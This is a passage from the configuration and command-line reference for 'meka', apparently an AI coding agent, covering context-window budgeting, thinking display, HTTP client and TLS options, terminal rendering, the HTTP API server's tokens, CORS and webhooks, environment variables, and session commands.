When neither is set, meka assumes 1000000. It does not infer the window from the model name, query the provider’s models API, or cache anything: the window is a local budgeting number that is never sent on the wire, so a wrong value can’t fail a request, and the user is the one who knows the truth.
1M suits the current flagship models and overshoots the smaller and older ones. Overshooting is survivable rather than free: planned compaction never fires, so those sessions compact only after the provider rejects an over-long request, paying a wasted round trip each time. Set the real window on any profile whose model is smaller.
[session]
context_window = 200000
session.subagent_max_depth
Maximum recursion depth for sub-agents spawned via agent_spawn. The root agent spawns at depth 1, its sub-agents at depth 2, and so on; each level below this limit is granted its own agent_spawn. 1 reproduces the historical behavior where sub-agents cannot spawn further sub-agents; 0 disables agent_spawn entirely. An agent can tune a subtree with the tool’s max_depth parameter, but a built-in absolute cap always bounds real nesting so recursion can’t run away.
Default: 3
[session]
subagent_max_depth = 3
[thinking]
Presentation and budget settings for extended thinking (anthropic-messages and claude-subscription backends). Whether thinking is on, and which wire encoding it uses, is the per-profile thinking key, not a setting here.
While the model is thinking, the REPL draws a live Thinking... line so a long pause reads as work rather than as a hang. On claude-subscription it carries the server’s own running estimate (Thinking... (150 tokens)), redrawn in place as the count climbs; anthropic-messages does not report one, so the line stays bare. The count is coarse: a progress signal, not an accounting figure.
When the block ends the line stays on screen as a record that the phase happened; if the model returned readable reasoning, that text replaces the line instead. Nothing is drawn when output is piped or redirected, since there is no terminal to redraw on.
thinking.budget
Maximum number of tokens the model can use for thinking. Read only under thinking = "budgeted"; the adaptive encoding lets the model set its own budget and sends no cap. A per-profile [profiles.<name>].thinking_budget takes precedence over this.
Default: 16000
thinking.show_content
Whether to show the whole text of a thinking block. When false, a block carrying readable reasoning is previewed as a single dimmed line, flattened across line breaks and cut to fit display.max_width, and the history replayed on resume (resume_show_recent) omits it entirely. Emphasis on that line is styling rather than text, so a summary’s **Bold header** reads as a bold header there too.
When true, the block streams to stderr as it arrives, behind the same dimmed Thinking... label, with every line after the first indented by two spaces. There is no height limit: asking to see the reasoning is asking to see all of it. On a model that streams its whole chain of thought this is the difference between a token counter and the text, and the live Thinking... (N tokens) indicator retires as soon as the first words arrive, since the text is the better progress signal.
Formatting follows display.render_mode, with one difference: reasoning is painted entirely in dark gray, so emphasis carries as bold or italic rather than as color. That is what keeps a thinking block readable as a footnote rather than as the reply. Under termimad the markdown is rendered, so a reasoning summary’s **Bold header** arrives as a bold header instead of as asterisks; under raw and syntect the source is shown as written, which for reasoning means those two produce the same output. Fenced code keeps its fences and is not syntax-highlighted, for the same reason.
Either way the block is still sent on subsequent turns, for reasoning continuity.
One cost to know about: a turn that has streamed you reasoning will not retry a transient provider failure. meka retries only while nothing the model produced has reached you, since a second attempt would repeat it, and reasoning is the first thing a turn produces. Under the default the deltas are discarded and the one-line preview is built from the completed block, so nothing is repeatable and retries behave as they always have.
Default: false
[thinking]
budget = 20000
show_content = true
[web]
Settings for the HTTP client fetch_url uses. All keys are optional; unset fields use the defaults shown below.
| Key | Type | Default | Purpose |
|---|---|---|---|
user_agent | string | Real Chrome UA | Some sites block non-browser UAs. Override if you need a specific identifier. |
request_timeout | duration | "30s" | Total request budget (connect + TLS + read). "0s" is refused at startup. |
connect_timeout | duration | unset | Separate cap on TCP + TLS handshake. Fail fast on unreachable hosts without shortening the whole request budget. "0s" is refused at startup. |
read_timeout | duration | unset | Per-chunk idle timeout. Catches bodies that stall mid-stream. "0s" is refused at startup. |
max_redirects | int | 10 | Cap on 3xx hops. 0 means no redirects are followed: a 3xx is returned as the response. |
proxy | string | unset (honors HTTP_PROXY / HTTPS_PROXY / ALL_PROXY env) | Proxy URL. Schemes: http://, https://, socks5://, socks5h://, socks4://. The literal string "none" explicitly disables env-var auto-detection. |
ca_cert_file | path | unset | Extra PEM bundle to trust on top of the system store. Useful for corporate MITM proxies or self-signed internal services. Accepts single-cert and multi-cert files. |
https_only | bool | false | Refuse plain http:// URLs. |
min_tls_version | string | unset (reqwest default) | Minimum TLS version. Accepts "1.0", "1.1", "1.2", "1.3". Unknown values log a warning and fall through. Note: the bundled rustls backend supports only TLS 1.2 and 1.3; "1.0" / "1.1" will surface a build error. |
danger_accept_invalid_certs | bool | false | DANGEROUS. Disable TLS certificate validation entirely. Emits a warn! on every startup when enabled. Only use against trusted local dev servers. |
danger_accept_invalid_hostnames | bool | false | DANGEROUS. Accept certificates whose hostname doesn’t match. Emits a warn! on every startup when enabled. Only use against trusted local dev servers. |
Example: corporate proxy with a private CA
[web]
proxy = "http://corp-proxy.internal:3128"
ca_cert_file = "/etc/ssl/corp-root-ca.pem"
min_tls_version = "1.2"
request_timeout = "60s"
Example: local testing against self-signed certs
[web]
# Route everything through a local SOCKS proxy you control.
proxy = "socks5h://127.0.0.1:1080"
# Accept self-signed certs on dev.local, KEEP THIS OFF IN PROD.
danger_accept_invalid_certs = true
Example: fail-fast timeouts
[web]
request_timeout = "5s"
connect_timeout = "2s"
max_redirects = 0
[display]
Settings for output formatting.
display.render_mode
Output render mode. Equivalent to the --render-mode CLI flag.
| Value | Description |
|---|---|
syntect | Syntax-highlighted markdown source, incl. per-language code blocks; never reflowed |
termimad | Rendered CommonMark, reflowed to the terminal: paragraphs re-wrap, wide tables wrap, markers are consumed. Same theme colors as syntect, and code blocks are highlighted by it. The default |
raw | Raw markdown printed verbatim with aligned tables |
Default: termimad
Reflowing only happens when there is a terminal to reflow to. With output redirected or piped,
termimad renders without wrapping, so a captured answer is not hard-wrapped to some fallback
width.
[display]
render_mode = "raw"
display.max_width
Widest line meka composes from model output, in terminal columns.
Default: unset, meaning the terminal’s own width, so nothing ever wraps.
Set it to pin the width instead:
[display]
max_width = 120
A set value is honored exactly rather than clamped to the terminal, because pinning it is how you get identical output across machines and a silent clamp would take that away on the narrow one. The cost is that a value wider than your terminal wraps, and a wrapped row starts at column zero, where meka’s own output lives. Below 40 columns the value is clamped up and a warning is logged: every budget subtracts fixed chrome first, and below roughly that the subtraction leaves nothing. Above 1000 it is clamped down, also with a warning, since no terminal is that wide and the value is far more likely to be a typo than a request.
This covers meka’s own output: tool indicators and their argument block, thinking previews, todo
lists, and the approval prompt. Assistant markdown is not affected and keeps reflowing to the
real terminal through display.render_mode. With output piped there is no
terminal to measure, so an unset width falls back to 100 columns and a captured run stays byte-stable.
A terminal narrower than 20 columns is treated as 20. That is not a legibility judgment: the thinking block’s own prefix is twelve columns, so below roughly that meka’s chrome no longer fits and the width stops meaning anything. Such a terminal wraps meka’s output whatever the number says.
display.tool_params
How much of a tool call’s input the [tool ...] indicator shows.
This setting covers the indicator only. With approvals on, the approval prompt always shows every
argument, whatever this is set to: the indicator is a notification, the prompt is a decision,
and setting off for a quiet scrollback must not leave you approving calls you cannot see.
| Value | Description |
|---|---|
off | Name only: [tool execute_command]. No argument reaches your terminal |
summary | Name plus the one argument that identifies the call: [tool execute_command(`cargo test`)] (default) |
full | Every argument, as an indented block under the name |
Default: summary
full writes each parameter on its own line. A value that fits on a line follows its key; one that
does not gets an indented block under a bare key:, so a multi-line edit_file argument stays
readable instead of collapsing into escaped newlines. Nesting is carried by indentation, with -
for array elements:
[tool edit_file]
path: src/render.rs
old_string:
let first_line = thinking.lines().next().unwrap_or("");
let truncated = truncate_display(first_line, 80);
[tool agent_spawn]
prompt: Audit the scheduler for missed-occurrence bugs
tools:
- read_file
- search_contents
Consecutive calls are separated by a blank line under full, since each one is a block and running
them together reads as a single call with too many parameters. Under summary they stay flush, which
is what makes a run of them read as a list of steps.
This is a reading format, not a data format: quotes are dropped, so timeout: 300 doesn’t say
whether the model sent 300 or "300". Four caps keep one call from filling the screen, and each
says what it hid:
| Cap | Limit | Marker |
|---|---|---|
| One argument’s value | 30 lines | ... N more lines, indented under that argument |
| One argument’s rows | 32 rows | ... N more rows, indented under that argument |
| The block | 60 rows, checked at an argument boundary | ... N more arguments: name, name |
| One line | display.max_width | ... at the cut |
The first two caps look redundant and are not. A string value has lines to count, so it is trimmed by line and the marker counts lines. An array or an object has none: it fans out one row per element, so it needs a bound counted in rows, and the marker says rows rather than pretending they were lines.
The line cap is exact, brackets and indentation included. The block cap is not: it is checked before an argument is rendered rather than after, so the block reaches at most the block cap plus one argument’s own budget plus the line naming what went: 93 rows.
The block cap drops whole arguments and names them rather than cutting wherever row 60 lands.
Knowing that path was passed but not shown beats seeing 60 rows of content and never learning
which file it was written to.
A cut keeps the end. Where a whole argument is dropped it is named; where rows are dropped the last one is kept, so a long array still shows its final element and a trimmed value still shows how it finishes. The reasoning is the same one that elides a long path from its middle rather than its tail: the end of a thing too big to show is usually the half that identifies it.
When you need the exact JSON a tool was called with, meka session export has it, untruncated and
unflattened.
full puts every argument on screen, secrets included. summary shows only the one argument
that identifies a call (write_file’s path, fetch_url’s URL), so a request header carrying a token
or a file body carrying a key stayed off screen. full shows all of them, and replayed history
reprints them on every /history and every resume. meka never puts its own credentials into tool
arguments, so what appears is what the model itself passed, but that is worth knowing before turning
this on where somebody can read over your shoulder or your scrollback.
Values are escape-stripped, their newlines and carriage returns flattened, and Unicode format characters (bidi overrides, soft hyphens, zero-width joiners) removed, so an argument cannot move your cursor, reorder what you read, or place text at column zero where meka’s own output lives.
No line exceeds display.max_width, so by default nothing wraps and no row ever
begins with model text. Setting max_width wider than your terminal gives that up, which is the one
case where a long argument can still produce a row starting flush left.
One residual caveat: the ... N more lines, ... N more rows and ... N more arguments markers are
ordinary text, so an argument whose content mimics one is indistinguishable from a real elision. That
does not let an argument run anything, but it can mislead a reader who is not expecting it.
Applies to the REPL, to one-shot runs (meka --oneshot), and to replayed history (/history,
resume_show_recent). ACP sends structured tool-call fields to the editor and the HTTP API’s SSE
events already carry the raw input, so neither is affected.
[display]
tool_params = "full"
display.show_session_id_on_create
Whether to display the session id when a new session is created.
Default: false
display.show_session_id_on_resume
Whether to display the session id when a session is resumed with -c or -r.
Default: true
display.show_session_id_on_exit
Whether to display the session id when meka exits.
Default: true
[display]
show_session_id_on_create = true
show_session_id_on_resume = false
show_session_id_on_exit = false
display.show_path_in_prompt
Whether to show the current working directory in the interactive prompt.
Default: true
display.show_context_in_prompt
Whether to show a live context-window gauge in the interactive prompt, e.g. 128.4k/1.0M 13% (tokens in context / model window / percent used). The figure comes from the most recent turn’s reported usage (and an estimate right after /compact or on resume), the same value /status shows on its Context: line. Hidden until the first turn produces a measurement.
Default: false
display.newline_before_prompt
Whether to add a blank line before the prompt, after whatever the previous line produced.
Default: true
display.newline_after_prompt
Whether to add a blank line after the line you typed, before its output. On a resume there is no typed line: the Resuming session: banner takes its place, and this is the blank between that banner and whatever follows it, normally the replayed history. With the banner hidden, the history sits directly under your shell’s command line.
Default: true
Both apply to anything printed between two prompts, not only agent responses. That span is the
unit, whatever filled it: a turn, a slash command’s output (/task, /memory, /help, …), an
error, a scheduled job waking the shell to run several turns at once, or any combination. It is
bracketed once, by whichever of those printed first and last, never once per turn inside it, and
never twice because two things both thought they owned the spacing.
Both space output away from meka’s prompt, so neither applies at the edges of a run, where the
prompt is your shell’s. Whatever meka prints before drawing its first prompt sits directly under the
command you typed (Resuming session: on a resume, or the answer to a prompt you passed on the
command line), and its last line is followed straight by the shell prompt. Start meka with no
prompt and there is nothing above its first prompt to space away from, so the rule never comes up.
The blank lines bracket output, so a span that prints nothing gets neither, and leaves the
screen exactly as it found it. In practice every slash command says something, even if only that a
list is empty. Three cases where nothing is printed and nothing is spaced: a successful /cd,
because the prompt itself is the confirmation; a successful /clear, because the cleared screen is;
and a scheduled wake that finds nothing left to run. !command is the one exception in the other
direction: it is always bracketed, because meka hands the terminal to the child process and never
learns whether it wrote anything, so a silent !touch file still gets its blank lines.
Turning a setting off removes that blank line and nothing else. The spacing between blocks of a single response (a tool indicator and the answer that follows it, or a thinking block and the text after it) is not controlled by either flag and does not change.
display.show_token_usage
When true, meka prints a one-line per-turn token-usage summary to stderr after each turn:
[in 12.3k / cache hit 96% / out 1.2k]
The in column is the total of all three Anthropic input tiers (live, cache-write, cache-read); cache hit % is cache_read / total_in. Useful for monitoring caching effectiveness during long sessions. The /status slash command surfaces cumulative session stats in the same vein.
Default: false
display.stream
Whether the answer streams to the terminal as it arrives, or lands whole when the turn ends. The
--no-stream flag turns streaming off for one run; this key is the standing preference, and it
applies to sub-agents as well.
Default: true
[display]
stream = false
display.resume_show_recent
When set to a positive integer N, resuming a session reprints the last N turns (each turn = the user’s prompt plus everything the agent did in response, styled to match the live REPL) instead of just the last assistant message.
Useful when you regularly resume long-running sessions and want more context than the single-message default. Inside a session, the /history slash command provides the same rendering on demand (/history dumps everything; /history N shows the last N turns).
Default: unset (resume reprints only the last assistant message, today’s behavior).
[display]
resume_show_recent = 3
display.input_style
Visual style applied to a REPL prompt once it is submitted. Makes past prompts easy to spot when scrolling back through a long session. A line still being edited keeps the terminal’s own colors; the style arrives on reedline’s final paint, which is the one that lands in scrollback.
The leading /command token is a separate signal and is colored as you type, green when meka recognizes the command and red when it does not. This setting does not affect it.
Accepted values:
default(or unset): bold white-ish foreground on a slate-blue background, rendered in truecolor RGB so it looks the same across terminal themes.none: disable styling entirely.reverse: reverse video (swaps the terminal’s current foreground and background).bold,dim,italic,underline: single attribute, no color change.- A color name (
black,red,green,yellow,blue,magenta/purple,cyan,white): set only the foreground, mapped to the terminal’s palette.
Unknown values warn at startup and fall back to default.
Default: the banner preset described above.
[display]
show_path_in_prompt = false
newline_before_prompt = false
newline_after_prompt = false
input_style = "none" # or "cyan", "bold", "dim", etc.
[serve]
Configuration for meka serve, the HTTP API server. See the HTTP API usage guide for a full walkthrough.
serve.bind
Address and port the HTTP server listens on.
| Type | Default |
|---|---|
string | "127.0.0.1:8080" |
[serve]
bind = "0.0.0.0:8080"
Security: Binding to
0.0.0.0exposes the server on all interfaces. In production, keep127.0.0.1and front with a TLS-terminating reverse proxy.
serve.cors_allowed_origins
Browser origins allowed to call the API cross-origin, for a web application served from somewhere other than meka itself. Omitted or empty, the server sends no CORS headers at all, and a browser refuses every cross-origin call.
| Type | Default |
|---|---|
array of string | [] (cross-origin access off) |
[serve]
cors_allowed_origins = [
"https://owner.github.io",
"http://localhost:5173",
]
An origin is a scheme, a host and a port, and nothing else: https://owner.github.io/mekaweb/ has the origin https://owner.github.io, and a path cannot narrow the grant. Each entry is normalized at startup to what a browser sends in Origin (lowercase host, default port dropped, a trailing root slash tolerated), and a request is granted only when its origin matches an entry exactly: another scheme, port or subdomain is another origin. An entry with a path, query, fragment or credentials, a non-HTTP scheme, null, or a pattern such as https://*.example.com is refused at startup.
["*"], alone, grants any origin. That is safe here because the API authenticates with a bearer header the page sets itself and never with a cookie: a page without the token gets a 401 from any origin, and a page holding it can use it from anywhere regardless. The allowlist guards only what needs no token: the two health probes, the opt-in OpenAPI document and the body of a 401. Name your origins where you can; use * for a LAN deployment reached from several device addresses. Browser clients describes what the grant covers.
serve.max_body_bytes
Maximum request body size in bytes. Requests exceeding this limit are refused with 413 Payload Too Large. 0 is refused at startup; omit the field for the default.
| Type | Default |
|---|---|
integer | 10485760 (10 MiB) |
serve.relay_provider_errors
Whether a 502’s payload carries the provider’s own response text, as a provider_response member
alongside detail.
On by default. The upstream’s error type is the actionable part of a failed turn, and “consult the
server log” is no answer to anyone driving a meka they do not operate. meka acp honors this key too: the same policy decides what a failed turn’s error.data carries.
What it can expose is usually the upstream’s response body, which can name the operator’s account with the provider and its rate-limit posture: a fact about your billing relationship rather than about the caller or the conversation, which is why this is a switch rather than a decision meka makes for you. Not always, though. The member carries the failing call’s error message, and for some failures that is meka’s own sentence about the call rather than anything the provider sent.
It reaches sessions:r, not only sessions:w. Submitting a turn takes the write scope, but the
failure also rides the terminal turn.failed event, and GET /v1/sessions/{id}/stream replays that
to any reader. Turn this off where read-only tokens go to people who may watch a session but are not
entitled to the account behind it.
[serve]
relay_provider_errors = false
detail is unchanged either way, so a client reading only that sees the same sentence and a
context overflow keeps its “shorten it before retrying” remedy. Off, the member is simply absent
and the text goes to the server log alone.
Bounded to the provider’s own response. A required MCP server that is down still reports only the
server names under /errors/mcp-unavailable, because that reason is meka’s own subprocess text and
has carried a command line and its filesystem path. This key does not turn that on.
| Type | Default |
|---|---|
boolean | true |
serve.docs
Whether to serve the Swagger UI at /v1/docs and the OpenAPI document at /v1/openapi.json.
Off by default. These are the only routes on the surface that take no bearer token and describe
the deployment rather than report on it: what they publish is the shape of every endpoint you
expose. That is exactly what you want while building a client against a local meka serve, and
exactly what you do not want reachable from anywhere else. Turn it on deliberately.
[serve]
docs = true
| Type | Default |
|---|---|
boolean | false |
serve.max_concurrent_turns
Process-wide cap on in-flight turns across all sessions. When the cap is reached, new turn submissions return 429 Too Many Requests with a Retry-After header. Leave it unset for no limit; 0 is refused at startup, because a cap of zero would 429 every turn rather than mean “unlimited”.
| Type | Default |
|---|---|
integer | unbounded |
serve.stream_replay_events
How many SSE events per turn to retain so a client reconnecting to GET /v1/sessions/{id}/stream with Last-Event-ID can replay what it missed.
| Type | Default |
|---|---|
integer | 256 |
Matches the live broadcast channel’s capacity: retaining more than the channel can buffer would let a reconnecting client replay events a connected consumer would have been dropped for missing. Raising it buys a longer reconnect window at the cost of per-session memory during a turn. 0 switches replay off, so a reconnect receives only what happens from then on and is told its replay is incomplete rather than being handed a silently truncated one.
serve.stream_reattach_grace
How long a streaming turn keeps running after its SSE consumer disconnects, waiting for a reconnect. Accepts duration strings.
| Type | Default |
|---|---|
string (duration) | "30s" |
Zero subscribers means nobody is listening, and a turn with no audience is spending provider tokens for nothing. That is the right instinct and the wrong deadline: a client whose connection just dropped and one that is never coming back are the same observation until the window expires. Set "0s" to cancel a turn the moment its stream drops, which spends less on abandoned work and makes re-attach useful only for turns that already finished.
serve.idle_timeout
How long a session can sit idle (no turns submitted) before the GC evicts it from memory. Accepts duration strings like "24h", "30m", "7d". "0s" turns idle GC off: nothing is ever evicted for being idle.
| Type | Default |
|---|---|
string (duration) | "24h" |
Eviction drops the in-memory runtime but preserves the SQLite row; a later request transparently re-attaches. See delete_on_idle to also remove the row.
serve.gc_scan_interval
How often the background GC scanner runs. Accepts duration strings; "0s" is refused at startup, since the scanner would then never run.
| Type | Default |
|---|---|
string (duration) | "5m" |
serve.delete_on_idle
When true, idle-evicted sessions also have their SQLite row deleted. When false (default), only the in-memory state is dropped and the session can be re-attached later.
| Type | Default |
|---|---|
bool | false |
serve.shutdown_drain_timeout
Maximum time to wait for in-flight turns and tasks to finish during graceful shutdown (SIGTERM / SIGINT). After this timeout, remaining tasks are aborted and the process exits.
| Type | Default |
|---|---|
string (duration) | "30s" |
[[serve.tokens]]
An array of bearer tokens for API authentication. At least one token is required.
| Key | Required | Description |
|---|---|---|
token | Yes* | The bearer token value. Supports ${ENV_VAR} substitution. Mutually exclusive with token_file. |
token_file | Yes* | Path to a file containing the token (one line, trimmed). Mutually exclusive with token. A startup warning is logged if the file is world-readable. |
description | No | Human-readable label for this token (appears in logs). |
scopes | Yes | Array of scope strings. One :r and one :w per subsystem: sessions, skills, memory, schedule, mcp. |
* Exactly one of token or token_file must be set.
Inline plaintext tokens log a startup warning; use ${ENV_VAR} or token_file for production.
Examples
Development token (inline):
[[serve.tokens]]
token = "sk_dev_test123"
scopes = ["sessions:r", "sessions:w"]
Production token (environment variable):
[[serve.tokens]]
token = "${MEKA_BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
Production token (file-based):
[[serve.tokens]]
token_file = "/etc/meka/bridge.token"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
Admin token with every scope:
[[serve.tokens]]
token = "${MEKA_ADMIN_TOKEN}"
description = "operator"
scopes = [
"sessions:r", "sessions:w",
"skills:r", "skills:w",
"memory:r", "memory:w",
"schedule:r", "schedule:w",
"mcp:r", "mcp:w",
]
Scopes are flat: memory:r does not imply memory:w, and neither implies the other. See the HTTP API scope table for what each permits. An unrecognized scope logs a warning at startup and grants nothing, so a typo like sessions:write is visible rather than silently inert.
[[serve.webhooks]]
Outbound endpoints meka POSTs to when something happens that no client is waiting on: a scheduled job firing, a background task finishing. Omit the block entirely and meka never makes an outbound request.
[[serve.webhooks]]
url = "https://bridge.example/meka-hook"
secret = "${MEKA_WEBHOOK_SECRET}" # or secret_file = "/etc/meka/hook.secret"
events = ["turn.finished", "turn.failed", "task.finished", "schedule.fired"]
timeout = "10s"
max_retries = 3
| Key | Type | Default | Notes |
|---|---|---|---|
url | string | required | https:// or http://; supports ${ENV_VAR} |
secret | string | none | HMAC key for X-Meka-Signature; supports ${ENV_VAR} |
secret_file | path | none | Mutually exclusive with secret; chmod 0600 |
events | array | required | One or more of turn.finished, turn.failed, task.finished, schedule.fired, inbox.delivered, inbox.failed |
timeout | duration | "10s" | Per attempt; "0s" is refused at startup |
max_retries | integer | 3 | Retries after the first attempt, capped at 10 |
events is required and every name must be recognized. An unknown event is a startup error, not a warning, unlike an unknown token scope: a scope that grants nothing leaves the token working for whatever else it holds, whereas an endpoint whose only subscription is a typo is silently never called at all.
Payloads carry identifiers and metadata, never message content. Omitting secret sends unsigned deliveries and logs a warning. See Webhooks for the payload shape and the signature-verification recipe.
Environment variables
The config file is the recommended way to configure meka. Environment variables are useful for operational overrides; for example, in CI pipelines, containers, or to isolate a per-project config and data directory.
These operational variables override config file values but are overridden by CLI flags.
Accounts and profiles are not configurable via the environment. Profile selection comes from the config file and
--profile; the model and every other model-tied setting come from the selected profile, the endpoint from its account; secrets come from the store viameka account. There are no account or profile env vars. This is deliberate: an ambientOPENAI_API_KEYorMEKA_PROFILEleft in the environment must never silently rebind which account a named profile bills.
meka-specific variables
| Variable | Description | Example |
|---|---|---|
MEKA_PERMISSION | Default permission level | none, read, workspace, unrestricted |
MEKA_INSTRUCTIONS | Standing instructions as a string, overriding the instructions.md file. Equivalent to --instructions. Used by the mekabox container wrapper, which mounts the config directory read-only and so cannot supply a file. | Be terse. |
MEKA_INSTRUCTIONS_FILE | Standing instructions read from this path (a file, or a directory of *.md). For a file you did not choose the location of, such as a Kubernetes ConfigMap. Conflicts with MEKA_INSTRUCTIONS. | /run/secrets/meka-instructions |
MEKA_CONFIG_DIR | Override the default config directory. Points at the meka directory itself (contains config.toml and skills/). The only isolation knob that works on every platform: dirs::config_dir() ignores $XDG_CONFIG_HOME on macOS/Windows. Must be absolute; an empty or relative value is ignored with a warning rather than loading ./config.toml from wherever meka happened to start. | /tmp/meka-test/meka |
MEKA_DATA_DIR | Override the default data directory (where meka.db lives). Same cross-platform escape hatch: dirs::data_dir() ignores $XDG_DATA_HOME on macOS/Windows. Useful for tests, portable installs, and per-project session isolation. Must be absolute, for the same reason as above and more sharply: meka.db holds every account credential. | /tmp/meka-test/data/meka |
MEKA_SANDBOX_BACKEND | Override [shell].sandbox_backend (Linux only). Pinning a value also suppresses the “install Bubblewrap” auto-resolve warning. Used by the mekabox wrapper to pin Landlock in the container without editing the read-only host config. | landlock, bubblewrap |
MEKA_RENDER_MODE | Override [display].render_mode. Handy for CI / non-TTY runs that want plain output. | syntect, termimad (default), raw |
MCP variables
| Variable | Description | Default |
|---|---|---|
MEKA_MCP_TOOL_TIMEOUT | Per-call timeout for MCP tools, as a duration string such as 10m or 90s. Applies to every remote tool invocation; on timeout meka cancels the request and returns an error to the model. A value that does not parse, or a zero, is warned about and ignored. | 10m |
How many servers connect at once at startup is a setting, not a variable: [mcp].stdio_concurrency and [mcp].http_concurrency.
Editor
| Variable | Description | Example |
|---|---|---|
VISUAL, then EDITOR | The editor meka memory edit and meka skill add --edit open. VISUAL is tried first, then EDITOR; with neither set, meka memory edit fails naming both, and meka skill add --edit writes the skill and warns that it skipped the editor. The value is tried as a program name first and split on whitespace only if nothing is there, so code --wait works, and it is never run through a shell. | nvim |
Logging
meka uses the tracing framework. The log level can be controlled with:
| Variable | Description | Example |
|---|---|---|
RUST_LOG | Standard Rust log filter | meka=debug, meka=trace |
If RUST_LOG is not set, the verbosity flag (-v, -vv, -vvv) controls the level:
| Flag | Level |
|---|---|
| (none) | warn |
-v | info |
-vv | debug |
-vvv | trace |
Logs are written to stderr so they do not interfere with agent output.
CLI options
meka [OPTIONS] [COMMAND]
Commands
account
Manage accounts and their credentials. meka account add writes an [accounts.<name>] table to
~/.config/meka/config.toml and keeps its secret in the store; usage, whoami and stats
are the read-only views described under Account info.
meka account add anthropic --backend claude-subscription
meka account list [--format <FORMAT>]
meka account login anthropic
meka account remove anthropic
meka account rename anthropic claude
meka account usage [--profile <NAME>] [--format <FORMAT>] # session / weekly windows
meka account whoami [--profile <NAME>] [--format <FORMAT>] # plan, tier, org, role and local auth status
meka account stats [--profile <NAME>] [--format <FORMAT>] # lifetime tokens, streaks, per-day counts
See the meka account CLI reference for the full flag list.
profile
Manage profiles: an account plus a model and every model-tied setting. meka profile add writes a
[profiles.<name>] table; nothing here touches a credential.
meka profile add work --account anthropic --model claude-opus-5
meka profile list [--format <FORMAT>]
meka profile set work model claude-opus-5
meka profile set work effort --unset # back to the default
meka profile use work
meka profile remove work
meka profile rename work daily
See the meka profile CLI reference for the full flag list.
session
Manage stored sessions: list them, show one in full, export one as Markdown or JSON, import a JSON export, fork or rewind one, or delete them.
Every <SESSION_ID> is a full id or any unique prefix of one, which is what the listings print.
meka session list [-n <LIMIT>] [--include-children] [--format <FORMAT>] # default limit: 20; sub-agent sessions hidden unless asked
meka session show <SESSION_ID> [--format <FORMAT>] # full id, cwd, permission, title
meka session export <SESSION_ID> [-o <OUTPUT>] [--format <FORMAT>] # markdown (default) or json; -o - prints to stdout
meka session import <INPUT> # a JSON export; - reads stdin
meka session fork <SESSION_ID> # prints the copy's id
meka session rewind <SESSION_ID> [-n <TURNS>] # default 1
meka session delete <SESSION_IDS>...
meka session delete --older-than-days <DAYS>
meka session delete --all
See Sessions for details.
history
View or clear the REPL input history that powers Up-arrow / Ctrl+R recall (distinct from saved
sessions and from the /history slash command).
meka history list [-n <LIMIT>] [--format <FORMAT>] # default 50; -n 0 shows all
meka history clear
mcp
Manage MCP servers in config.toml and their stored credentials.
meka mcp list [--format <FORMAT>]
meka mcp get <NAME> [--format <FORMAT>]
meka mcp add <NAME> [LOCATION] [ARGS]... [flags] # a URL (HTTP) or an executable (stdio)
meka mcp remove <NAME>
meka mcp disable <NAME>
meka mcp enable <NAME>
meka mcp reconnect <NAME>
meka mcp tools <NAME> [--format <FORMAT>]
meka mcp login <NAME> [--auth-token-stdin | --client-secret-stdin]
meka mcp logout <NAME>
See MCP for the add flags and what each command does.
tool
Inspect the built-in tool filters. meka tool list prints every built-in with its Permission,
the Source of that requirement (builtin, or override from [tools]), its Status
(enabled, deferred, or disabled), and the start of its description. The levels are the ones
a session on this machine would enforce: execute_command is read where the shell sandbox is on
and a backend is usable, and unrestricted otherwise, so the listing probes the sandbox the way a
session start does and gives the same warning when none is usable.
meka tool list [--format <FORMAT>]
skill
Manage the skills under ~/.config/meka/skills/.
meka skill list [--paths] [--format <FORMAT>]
meka skill get <NAME> [--format <FORMAT>] # frontmatter and on-disk paths
meka skill show <NAME> [--format <FORMAT>] # the rendered body
meka skill add <NAME> [flags]
meka skill remove <NAME>
See Skills for the add flags.
memory
Manage the agent’s saved memories.
meka memory list [--format <FORMAT>]
meka memory get <NAME> [--format <FORMAT>] # every stored field
meka memory show <NAME> [--format <FORMAT>] # the body
meka memory add <NAME> --description <DESCRIPTION> [flags]
meka memory edit <NAME> # the body, in $VISUAL, then $EDITOR
meka memory remove <NAME>
meka memory verify [--rebuild]
meka memory export [--dir <PATH>] # default: ./meka-memory-export
See Memory for the add flags.
instructions
Show the standing instructions the agent is given.
meka instructions show # the resolved text and where it came from
meka instructions path # the paths checked, and whether each exists
See Instructions.
schedule
Inspect and cancel the wakeups the agent scheduled for itself. There is no create: a job needs a
session for its turn to run in, and the agent creates one through schedule_create.
Every <ID> is a full id or any unique prefix of one, which is what list prints.
meka schedule list [--session <SESSION>] [--format <FORMAT>] # every session's jobs, or one session's by id or prefix
meka schedule show <ID> [--format <FORMAT>] # full prompt, gate command, session, withheld reason
meka schedule cancel <ID>
See Scheduling for details.
acp
Run meka as an ACP agent over stdio. Takes no flags of its own; -c and -r
are refused, and --profile selects the profile a new session starts on.
meka acp
serve
Run meka as a long-lived HTTP service. --bind <ADDR> overrides
[serve].bind. Like acp, it refuses -c and -r: the host creates a session per request.
meka serve
meka serve --bind 0.0.0.0:8080
Options
-p, --prompt <TEXT>
Run the agent’s first turn immediately with this text as the user message, then drop into the REPL for follow-up. Pair with --oneshot to exit after the first turn instead of opening the REPL. -p - reads the prompt from stdin, to end of input.
meka -p "list all files larger than 1MB in the current directory" # first turn, then REPL
meka --oneshot -p "list all files larger than 1MB" # first turn, then exit
git diff | meka --oneshot -p - # the prompt is the diff
When omitted, meka starts the REPL with no initial input. There is no bare positional prompt, so a mistyped subcommand is an error rather than a session opened with the typo as its first turn.
-c, --continue
Continue the most recent session. Takes no value.
meka -c # pick up where you left off
meka -c -p "and now add tests" # …with an opening prompt
Starting fresh when there is no session yet is not an error; meka just begins a new one.
-r, --resume <SESSION>
Resume a specific session. Accepts either the full id or any unique leading prefix.
meka -r 550e8400-e29b-41d4-a716-446655440000 # full id
meka -r 550e # prefix; works if unique
meka -r 550e -p "and now add tests" # …with an opening prompt
Errors if the session does not exist, the prefix matches multiple sessions (with the matching ids listed for disambiguation), or the session is locked by another meka instance.
-c and -r are mutually exclusive. Both work with --oneshot, which runs a single turn against the session and exits:
meka --oneshot -r 550e -p "summarize what we decided"
--permission <LEVEL>
Set the initial permission level. Accepts none, read, workspace or unrestricted.
meka --permission workspace
There is no flag for approvals: a new session takes [permissions].approvals from the config file, and /approvals on moves it afterwards.
Default: read.
Recorded on the session, so a resume comes back at the level the session was last at rather than at
the default. Passing --permission alongside -c / -r repins it, the way --profile does. A
